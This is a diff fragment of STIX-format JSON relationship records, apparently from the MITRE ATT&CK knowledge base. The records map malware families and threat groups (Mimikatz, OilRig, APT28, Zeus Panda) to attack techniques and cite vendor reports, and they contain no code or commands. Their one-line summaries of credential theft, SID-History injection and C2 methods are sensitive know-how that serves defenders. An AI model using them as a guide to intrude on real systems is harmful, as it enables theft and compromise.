"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to upload a file to the victim machine.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--198cddce-40f7-43eb-aeac-60171f111065", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses a command prompt to run a PowerShell script from Excel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--89c060ad-cec7-4ffb-85aa-8670c8dabeda", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.340Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the system time and will only activate if it is greater than a preset date.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.298Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.965Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4563af55-57dc-44fc-b57b-76e2f10f3b9a", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has dumped credentials from victims. Specifically, the group has used the tool GET5 Penetrator to look for remote login and hard-coded credentials.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7", + "external_references": [ + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.793Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used HTTP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a975ec6-5754-4a42-aa0f-f468d67a2c91", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.647Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a module to steal credentials from Web browsers on the victim machine.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed74954d-4717-4d63-9836-4cbd66c37345", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files from C2 servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b102737-2d47-4dd5-b4f2-2a323c506cfb", + "external_references": [ + { + "source_name": "Symantec Security Center Trojan.Kwampirs", + "description": "Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2016-081923-2700-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has a feature to list the available services on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--948f8c8b-18e1-4652-86af-bad1dc0ec090", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.200Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.491Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) lists files on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--992c7f74-c6d8-43e9-98e7-5818ca9524e3", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) uses the Camellia cipher to encrypt communications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b41c9b77-536b-49bc-8cb9-a873aa121002", + "external_references": [ + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s MISC::AddSid module can appended any SID or user/group account to a user's SID-History. [Mimikatz](https://attack.mitre.org/software/S0002) also utilizes [SID-History Injection](https://attack.mitre.org/techniques/T1178) to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f", + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ], + "modified": "2019-04-24T23:36:42.281Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of deleting Registry keys used for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) automatically collects data about the victim and sends it to the control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ed42682-d3ad-4a4f-8576-ccdf28ce642b", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.200Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform uses Extended Attributes to store encrypted executables.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). 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Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) collects the victim's username.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. 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Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.793Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the command-line interface for execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c79282f-5e60-48b9-962a-d61c3d73b334", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). 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Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:29.738Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:58.191Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. 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Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) performed a watering hole attack on forbes.com in 2014 to compromise targets.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--478f7f77-6b6b-4949-ac87-f28419b5e2ab", + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. 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Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.622Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Once [APT28](https://attack.mitre.org/groups/G0007) gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--565d2d07-0e2e-44e5-bc37-5a64e49394ee", + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. 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MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of accessing locally stored passwords on victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--044ad6d3-9389-4764-9b96-ad53dc98840d", + "external_references": [ + { + "source_name": "Invincea XTunnel", + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + } + ], + "modified": "2019-04-19T18:36:31.943Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2e33068-b08e-45fd-89e0-0cf79868f902", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can download additional malware plug-in modules and execute them on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T17:59:44.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c0f441f-13b1-4b79-b658-e081d5143a94", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.100Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) decoded base64-encoded PowerShell commands using a VBS file.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58545f9a-d2cf-4466-bc7f-9cdbdce25d70", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "MuddyWater TrendMicro June 2018", + "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-06-28T15:30:58.634Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) obfuscates its code in an apparent attempt to make analysis difficult.", + "type": "relationship", + "created": "2019-01-29T18:44:04.939Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d7e8d98-9894-4dfa-9013-af8d83e6faea", + "external_references": [ + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "modified": "2019-04-16T14:30:35.300Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": 